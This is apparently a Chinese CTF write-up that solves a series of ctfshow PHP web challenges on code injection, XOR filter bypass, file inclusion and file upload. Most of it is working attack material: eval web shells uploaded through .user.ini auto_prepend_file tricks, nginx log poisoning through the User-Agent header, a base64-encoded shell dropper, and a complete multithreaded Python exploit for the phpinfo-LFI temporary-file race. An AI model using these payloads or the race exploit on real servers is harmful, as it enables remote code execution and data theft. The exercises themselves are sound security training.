# 使用命名空间调用匿名函数
# 使用show参数提前闭合函数,再调用命令行
# 最后注释掉后面的代码避免形成干扰。
GET: ?show=;};system('grep flag flag.php');/*
POSOT: ctf=\create_function

官方的注释贴这了:

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 
普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;
而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法

web148

原始信息

include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

解题

思路:传入code,尝试使用特殊符号调用get_ctfshow_fl0g 函数读取flag

首先写一个辅助脚本跑出没被过滤的ascii码,看看有没有利用价值:

import re

pattern = r'[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+'
AllAscii = []
for item in range(32,128):
if not (re.findall(pattern, chr(item))):
AllAscii.append(chr(item))

print(AllAscii)

跑出来的ascii码是:

['!', '"', '#', '$', '(', ')', '/', ';', '<', '=', '>', '?', '[', ']', '^', '`', '{', '}', '\x7f']

没有过滤这么多字符,考虑使用异或绕过无字母无数字的情况:

脚本还是原来的那个脚本,源头在web141那儿.脚本内容以及运行如下:

<?php
while (true) {
echo "Please give me the key string: ";
$a = rtrim(fgets(STDIN), "\r\n");
echo 'value: ';
for ($i = 0; $i < strlen($a); $i++) {
echo urlencode(urldecode('%fa') ^ urldecode('%' . bin2hex($a[$i])));
}
echo '^';
for ($i = 0; $i < strlen($a); $i++) {
echo '%fa';
}
echo '' . PHP_EOL;
}

运行:

$ php web141.php
Please give me the key string:

输入对应的关键字符即可得到答案。

下面是关于这个脚本的实际测试,后面就是实际的调试了。

#win11的git窗口就是下面这种,别误会哈。
$ php web141.php
Please give me the key string: phpinfo
value: %8A%92%8A%93%94%9C%95^%fa%fa%fa%fa%fa%fa%fa
Please give me the key string: system
value: %89%83%89%8E%9F%97^%fa%fa%fa%fa%fa%fa
Please give me the key string: ls
value: %96%89^%fa%fa
Please give me the key string: highlight_file
value: %92%93%9D%92%96%93%9D%92%8E%A5%9C%93%96%9F^%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa
Please give me the key string: flag.php
value: %9C%96%9B%9D%D4%8A%92%8A^%fa%fa%fa%fa%fa%fa%fa%fa
Please give me the key string:

把这些东西实际的代入到网站传参当中:

# phpinfo();
get: ?code=("%8A%92%8A%93%94%9C%95"^"%fa%fa%fa%fa%fa%fa%fa")();
return: 正确的返回PHPinfo的内容。
# system('ls');
get: ?code=("%89%83%89%8E%9F%97"^"%fa%fa%fa%fa%fa%fa")("%96%89"^"%fa%fa");
return: index.php flag.php
# highlight_file("flag.php")
get: ?code=("%92%93%9D%92%96%93%9D%92%8E%A5%9C%93%96%9F"^"%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa%fa")("%9C%96%9B%9D%D4%8A%92%8A"^"%fa%fa%fa%fa%fa%fa%fa%fa");
return: 返回flag文件的内容,得到flag

官方WP

#payload 
?code=("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
预期解是使用中文
?code=$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* "{{{"^"?<>/";
异或出来的结果是 _GET

三个大括号的骚姿势官方视频也没有讲:face_with_thermometer: 顶不住顶不住……后面再查资料吧。

web149

原始信息

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

解题

读懂这段代码的时候,作为一个会写脚本的小子说实在有点傻眼,但猜到这应该是新题型后就释然了。

全程其实有用的有且只有一句话:

file_put_contents($_GET['ctf'], $_POST['show']);

其他部分的内容传递的只有一句话:如果当前文件夹下有任何不是名为index.php的文件,就立刻马上删除掉。

既然如此,那么只能覆盖掉index.php的内容了。

# 第一阶段,直接覆盖:
Get: ?ctf=index.php
Post: show=<?php eval($_POST[1])?>

# 第二阶段,读取文件读取flag:
Post: 1=system('ls /');
bin ctfshow_fl0g_here.txt dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var

Post: 1=system('cat /ctfshow_fl0g_here.txt');
ctfshow{118b5b79-6d03-4f36-b170-db143609c12e}

web150

原始信息

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
# 将GET数组转换为对应的变量
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

解题

这里仅分析最核心的部分,不做全代码分析,节省代码审计时间:

# 获取get传输过来还没解析的字符串,形如:a=1&b=2
$key = $_SERVER['QUERY_STRING'];
# 正则表达式匹配,不合法就强制退出
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}

$ctf = $_POST['ctf'];
# 将GET数组对应的键值对转换为对应的变量名和变量值
extract($_GET);
# 检测有没有这个类,但仅仅是输出而已。
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

# 最关键部分,第一个参数为非负数字符串即可
# 第二个参数,就是不能出现 ":" 的意思
if($isVIP && strrpos($ctf, ":")===FALSE){
# 符合条件后把ctf作为文件进行导入
include($ctf);
}

个人愚见,伪协议是必须依赖一个关键符号 ":" 才能顶得住的,如果不存在则应是直接不支持伪协议。

这里尝试导入了下 /etc/passwd 成功导入文件内容,尝试着去搞文件包含漏洞。

这里因为get数组会解析为变量, $isVIP 通过这种方式传个1进去即可。第二个参数则需要考虑环境。

这里分析下得到的 /etc/passwd 文件的内容:

root:x:0:0:root:/root:/bin/ash
...#中间部分省略,重点看末尾#....
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin

中间件支持是nginx而不是Apache,可以尝试利用NGINX的日志包含去写入一句话木马进行控制:

GET: ?isVIP=1
User-Agent: <?=eval($_POST[1]);?>
POST: ctf==/var/log/nginx/access.log&1=var_dump($GLOBALS);

观察题目可以得出,flag这个变量已经被读取到了PHP环境当中,只需要调用 $GLOBALS 读取出来即可。

或者有需要读取源文件的可以改一下参数的内容:

GET: ?isVIP=1
User-Agent: <?=eval($_POST[1]);?>
ctf=/var/log/nginx/access.log&1=show_source('flag.php');

UA这种东西最好在BP加进去。

官方WP

文件包含非预期绕过

web150 plus

原始信息

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}

解题&官方WP

这次加盾有点严密,因为这其中有一部分是直接从配置文件当中修改的,限制了对 etc 目录的访问,限制了前一题的日志文件包含漏洞,导致整体思路无法单纯的靠后面的文件包含输出。

这里引用官方的思路,解析下class类:

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

# 初始化
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

# 退出时
function __destruct(){
echo $this->secret;
}

# 纯公共的返回布尔值的函数
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

# 自动加载类
function __autoload($class){
if(isset($class)){
$class();
}
}

官方给出的信息如下:

这个题一点点小坑__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦

从中我们得出了一个结论:

__autoload # 尝试加载未定义的类,可以用来加载phpinfo
//资料链接:https://www.cnblogs.com/nice0e3/p/15383699.html
资料原文如下
https://blog.csdn.net/xiantianga6883/article/details/108378695

在实际项目中,不可能把所有的类都写在一个 PHP 文件中,
当在一个 PHP 文件中需要调用另一个文件中声明的类时,就需要通过 include 把这个文件引入。
不过有的时候,在文件众多的项目中,要一一将所需类的文件都 include 进来,
一个很大的烦恼是不得不在每个类文件开头写一个长长的包含文件的列表。
我们能不能在用到什么类的时候,再把这个类所在的 php 文件导入呢?

为此,PHP 提供了 __autoload() 方法,它会在试图使用尚未被定义的类时自动调用。
通过调用此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。

__autoload() 方法接收的一个参数,就是欲加载的类的类名,
所以这时候需要类名与文件名对应,
如 Person.php ,对应的类名就是 Pserson 。

变量解析漏洞:

#php v5.6.40
# ..CTFSHOW.. ==解析为==> __CTFSHOW__

真正的WP是这样的:

GET: ?..CTFSHOW..=phpinfo
# 然后在其中找出flag变量的值即可得到flag

相关链接以及exp:

https://juejin.cn/post/7016944635851309070

#!/usr/bin/python
import sys
import threading
import socket

attempts_counter = 0


def setup(host, port, phpinfo_path, lfi_path, lfi_param, shell_code='<?php eval($_POST["mb"]);?>', shell_path='/tmp/g'):
"""
根据提供参数返回请求内容
:param host:HOST
:param port:端口
:param phpinfo_path: phpinfo文件地址
:param lfi_path: 包含lfi的文件地址
:param lfi_param: lfi载入文件时, 指定文件名的参数
:param shell_code: shell代码
:param shell_path: shell代码保存位置
:return:
phpinfo_request: phpinfo 请求内容
lfi_request: lfi 请求内容
tag: 标识内容
"""
tag = 'Security Test' # 搜索验证标识
payload = \
'''{tag}\r
<?php $c=fopen('{shell_path}','w');fwrite($c,'{shell_code}');?>\r
'''.format(shell_code=shell_code, tag=tag, shell_path=shell_path)

request_data = \
'''-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
{payload}
-----------------------------7dbff1ded0714--\r
''' .format(payload=payload)

phpinfo_request = \
'''POST {phpinfo_path}?%5f%5fCTFSHOW%5f%5f=phpinfo&a={padding} HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r
HTTP_ACCEPT: {padding}\r
HTTP_USER_AGENT: {padding}\r
HTTP_ACCEPT_LANGUAGE: {padding}\r
HTTP_PRAGMA: {padding}\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: {request_data_length}\r
Host: {host}:{port}\r
\r
{request_data}
'''.format(
padding='A' * 4000,
phpinfo_path=phpinfo_path,
request_data_length=len(request_data),
host=host,
port=port,
request_data=request_data
)

lfi_request = \
'''POST {lfi_path}?{lfi_param} HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
\r
ctf={{}}\r
'''.format(
lfi_path=lfi_path,
lfi_param=lfi_param,
host=host
)
return phpinfo_request, tag, lfi_request


def phpinfo_lfi(host, port, phpinfo_request, offset, lfi_request, tag):
"""
通过向phpinfo发送大数据包延缓时间, 然后利用lfi执行
:param host:HOST
:param port:端口
:param phpinfo_request: phpinfo页面请求内容
:param offset: tmp_name在phpinfo中的偏移位
:param lfi_request: lfi页面请求内容
:param tag: 标识内容
:return:
tmp_file_name: 临时文件名
"""
phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
lfi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

phpinfo_socket.connect((host, port))
lfi_socket.connect((host, port))

# 1. 先向phpinfo发送大数据包, 且其中包含php会将payload放入临时文件中
# print(phpinfo_request)
# print(lfi_request)
phpinfo_socket.send(phpinfo_request.encode())

phpinfo_response_data = ''
while len(phpinfo_response_data) < offset:
# 取不到数据则反复执行
phpinfo_response_data += phpinfo_socket.recv(offset).decode()

try:
tmp_name_index = phpinfo_response_data.index('[tmp_name] =&gt')
# 获取包含payload的临时文件名
tmp_file_name = phpinfo_response_data[
tmp_name_index + 17:
tmp_name_index + 31
]
except ValueError:
return None
# 2. 再向lfi发送包含payload的临时文件名, 用于包含
lfi_socket.send((lfi_request.format(tmp_file_name)).encode())
# print(lfi_request.format(tmp_file_name))
lfi_response_data = lfi_socket.recv(4096).decode()

# 3. 停止phpinfo socket连接
phpinfo_socket.close()
# 4. 停止lfi socket连接
lfi_socket.close()
if lfi_response_data.find(tag) != -1:
# 5. lfi response中存在标识内容则payload执行成功
return tmp_file_name


class ThreadWorker(threading.Thread):
def __init__(self, event, lock, max_attempts,
host, port, phpinfo_request,
offset, lfi_request, tag,
shell_code, shell_path,
lfi_path, lfi_param):
threading.Thread.__init__(self)
self.event = event
self.lock = lock
self.max_attempts = max_attempts
self.host = host
self.port = port
self.phpinfo_request = phpinfo_request
self.offset = offset
self.lfi_request = lfi_request
self.tag = tag
self.shell_code = shell_code
self.shell_path = shell_path
self.lfi_path = lfi_path
self.lfi_param = lfi_param

def run(self):
global attempts_counter
while not self.event.is_set():
# 如果没有set event则一直重复执行, 直到已尝试次数大于最大尝试数(attempts_counter > max_attempts)
with self.lock:
# 获取锁, 执行完后释放
if attempts_counter >= self.max_attempts:
return
attempts_counter += 1
try:
tmp_file_name = phpinfo_lfi(
self.host, self.port, self.phpinfo_request, self.offset, self.lfi_request, self.tag)
if self.event.is_set():
break
if tmp_file_name:
# 找到tmp_file_name后通过set event停止运行
print('\n{shell_code} 已经被写入到{shell_path}中'.format(
shell_code=self.shell_code,
shell_path=self.shell_path
))
'http://127.0.0.1/test/lfi_phpinfo/lfi.php?load=/tmp/gc&f=uname%20-a'
print('默认调用方法: http://{host}:{port}{lfi_path}?{lfi_param}={shell_path}&f=uname%20-a'.format(
host=self.host,
port=self.port,
lfi_path=self.lfi_path,
lfi_param=self.lfi_param,
shell_path=self.shell_path
))

self.event.set()
except socket.error:
return


def get_offset(host, port, phpinfo_request):
"""
获取tmp_name在phpinfo中的偏移量
:param host: HOST
:param port: 端口
:param phpinfo_request: phpinfo 请求内容
:return:
tmp_name在phpinfo中的偏移量
"""

phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phpinfo_socket.connect((host, port))
phpinfo_socket.send(phpinfo_request.encode())
phpinfo_response_data = ''
while True:
i = phpinfo_socket.recv(4096).decode()
phpinfo_response_data += i
if i == '':
break

# 检测是否是最后一个数据块
if i.endswith('0\r\n\r\n'):
break
phpinfo_socket.close()
tmp_name_index = phpinfo_response_data.find('[tmp_name] =&gt')
print(phpinfo_response_data)
if tmp_name_index == -1:
raise ValueError('没有在phpinfo中找到tmp_name')
print('找到了 {} 在phpinfo内容索引为{}的位置'.format(
phpinfo_response_data[tmp_name_index:tmp_name_index+10], tmp_name_index))

return tmp_name_index + 256


def main():
pool_size = 100
host = '7438117e-d02c-467c-859a-17c47f67b37e.challenge.ctf.show'
port = 8080
phpinfo_path = '/'
lfi_path = '/'
lfi_param = 'isVIP=1'
shell_code = '<?php eval($_POST["mb"]);?>'
shell_path = '/tmp/g'
# 最大尝试次数
max_attempts = 1000

print('LFI With PHPInfo()')
# 一 生成phpinfo请求内容, 标志内容, lfi请求内容
phpinfo_request, tag, lfi_request = setup(
host=host, port=port, phpinfo_path=phpinfo_path, lfi_path=lfi_path,
lfi_param=lfi_param, shell_code=shell_code, shell_path=shell_path)

# 二 获取[tmp_name]在phpinfo中的偏移位
offset = get_offset(host, port, phpinfo_request)

sys.stdout.flush()
thread_event = threading.Event()
thread_lock = threading.Lock()
print('创建线程池 {}...'.format(pool_size))
sys.stdout.flush()
thread_pool = []
for i in range(0, pool_size):
# 三 多线程执行phpinfo_lfi
thread_pool.append(ThreadWorker(thread_event, thread_lock, max_attempts,
host, port, phpinfo_request, offset,
lfi_request, tag,
shell_code, shell_path,
lfi_path, lfi_param
))
for t in thread_pool:
t.start()
try:
while not thread_event.wait(1):
if thread_event.is_set():
break
with thread_lock:
sys.stdout.write('\r{} / {}'.format(attempts_counter, max_attempts))
sys.stdout.flush()
if attempts_counter >= max_attempts:
# 尝试次数大于最大尝试次数则退出
break
if thread_event.is_set():
print('''success !''')
else:
print('LJBD!')
except KeyboardInterrupt:
print('\n正在停止所有线程...')
thread_event.set()
for t in thread_pool:
t.join()


if __name__ == "__main__":
main()

文件上传

151 	后端无验证
152 后端文件类型验证
153 配置文件可控
154 文件魔术字节欺骗
155 配置文件可控
156 文件内容检测[],可用{}绕过
157 脚本的最后一个分号可以省略
158 日志包含
159 突破日志包含检测
160 日志包含突破空格检测
161 gif89a?绕过get_imagesize判断
162 include URL文件包含
163 .user.ini 配置文件远程文件包含(指远程http的包含)
164 png二次渲染绕过(png文件内容被包含到php文件中进行展出)

web151

原始信息

提示词:前台校验不可靠

html关键代码:

<div class="layui-col-md12">
<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'png'}">
<i class="layui-icon">&#xe67c;</i>上传图片
</button>
</div>

js代码:

layui.use('upload', function(){
var upload = layui.upload;

//执行实例
var uploadInst = upload.render({
elem: '#upload' //绑定元素
,url: '/upload/' //上传接口
,done: function(res){
if(res.code==0){
$("#result").html("文件上传成功,路径:"+res.msg);
}else{
$("#result").html("文件上传失败,失败原因:"+res.msg);
}

}
,error: function(){
$("#result").html("文件上传失败");
}
});
});

解题

提取的信息有:

上传到文件: upload.php
前台的png校验

使用BP抓包改包即可,改写的那部分内容如下:

-----------------------------3533995436951902473886677854
Content-Disposition: form-data; name="file"; filename="logo.php"
Content-Type: image/png

GIF89
<?=eval($_POST[1])?>
-----------------------------3533995436951902473886677854--

然后使用一句话木马翻目录查flag即可:

POST: 1=show_source('../flag.php');

后面找到的源代码如下:

upload.php

if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}

}

echo json_encode($ret);

大小限制,让后就没限制了。

web 152

原始信息

改了提示:后端校验要严密

表示后端审查开始严密了,但是前端审查延续上一道题。

解题

继续延续上一题的wp,依然没什么变化。下面是upload处理的后端源码:

error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

echo json_encode($ret);

限制大小,限制类型为png,然后就没限制了。

web153

原始信息

提示信息:后端不能单一校验

然后就没有然后了。

解题

使用的配置文件上传的文件解析漏洞,利用的是nginx出现的配置文件漏洞。

第一次上传文件的:

Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_prepend_file=a.png

第二次上传文件的内容:

Content-Disposition: form-data; name="file"; filename="a.png"
Content-Type: image/png

GIF89a
<?=eval($_POST[a])?>

然后一句话木马拿下flag即可。

这个文件嵌入的方法能在这个配置文件下主动创建 index.php 文件,导致出现文件包含漏洞。

下面的是上传文件处理的源码:

error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

echo json_encode($ret); nothing here

限制了文件大小 1024k ,文件类型必须是 png ,文件后缀不能为 php .

web154

原始信息

提示信息:后端校验要严密,后端不能单二校验

解题

和上面153一样,wp没有变化,照着操作直接出flag即可。

下面是upload源码:

error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(strrpos($content, "php")==FALSE){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>3,"msg"=>"文件内容不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

echo json_encode($ret);

限制类型,限制大小,限制后缀不能写死为 php 限制文件内容不能出现 php ,然后就没了。

web155

原始信息

提示文本:后端不能单三校验,后端校验要严密

解题

和上面情况一样,wp没变化。

下面是upload文件的内容

error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

echo json_encode($ret); nothing here

限制了文件大小,文件类型,文件文件后缀和内容不能有 php , 细微上的修改为 strrpos(查最后一次出现的位置) 被改写为 stripos(查第一次出现的位置) ,后面怎么转存文件的操作都是不变的。

web156

原始信息

文本提示:后端不能单四校验

然后和上面一样,一个文件上传的窗口。

解题

这次限制的稍微严格了一些,还是和前面一样先上传php文件

第一次上传文件的:

Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_prepend_file=a.png

第二次上传文件的内容:

Content-Disposition: form-data; name="file"; filename="a.png"
Content-Type: image/png

GIF89a
<?=eval(system('cat ../fl*'))?>

这时候突发奇想,要不给它搞个一句话木马上去?虽然很多东西被锁死了,但可以写免杀啊!或者绕过这个文件夹另外创一个木马。

突发奇想的WP

第一次上传文件的:

Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_prepend_file=a.png

第二次上传文件的内容:

Content-Disposition: form-data; name="file"; filename="ctf.png"
Content-Type: image/png

GIF89?
<?=
$b=base64_decode('Li4veC5waHA=');
$a=base64_decode('PD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4=');
file_put_contents($b,$a);

?>

其中的两个base分别是文件名和文件内容,也就是木马的内容。具体看下面:

$ php -r "echo base64_encode('../x.php');"
Li4veC5waHA=
$ php -r "echo base64_encode('<?php eval($_POST["a"]);?>');"
PD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4=

下面的就是直接访问 x.php 进行一句话木马的 getshell 操作啦~

POST: a=system('ls');
return: flag.php images index.php js layui upload upload.php x.php

POST: a=show_source('flag.php');
return: 返回flag的内容。

upload文件的内容:

error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && stripos($content,"[")===FALSE){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

echo json_encode($ret);

文件大小,类型,后缀,内容,方括号限制。

web157

原始信息

提示信息:后端不能单五校验

看来只能说越来越严格了。心中只有一个想法:逃逸。

解题

解题的方式和上面一样,使用.user.ini的漏洞点即可:

.user.ini

Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_prepend_file=a.png

a.png

Content-Disposition: form-data; name="file"; filename="a.png"
Content-Type: image/png

GIF89a
<?=eval(system('cat ../fl*'))?>

下面是upload文件的内容:

error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content)){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}
function check($str){
return !preg_match('/php|\{|\[|\;/i', $str);
}
echo json_encode($ret);
echo json_encode($ret);

web158

原始信息

提示文本:后端不能单六校验

解题

解题的wp和上一题相同,故这里只展示upload文件内容:

error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content)){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}
function check($str){
return !preg_match('/php|\{|\[|\;|log/i', $str);
}
echo json_encode($ret);
echo json_encode($ret);

web159

原始信息

提示文本:师傅们可以的。

解题

和上面差不多,只不过图片那里得稍微修改一下。

上传配置文件:.user.ini

Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89
auto_prepend_file=a.png

上传图片文件/木马文件:

Content-Disposition: form-data; name="file"; filename="a.png"
Content-Type: image/png

GIF89
<?=`cat ../f*`?>

下面是upload文件内容:

error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content)){
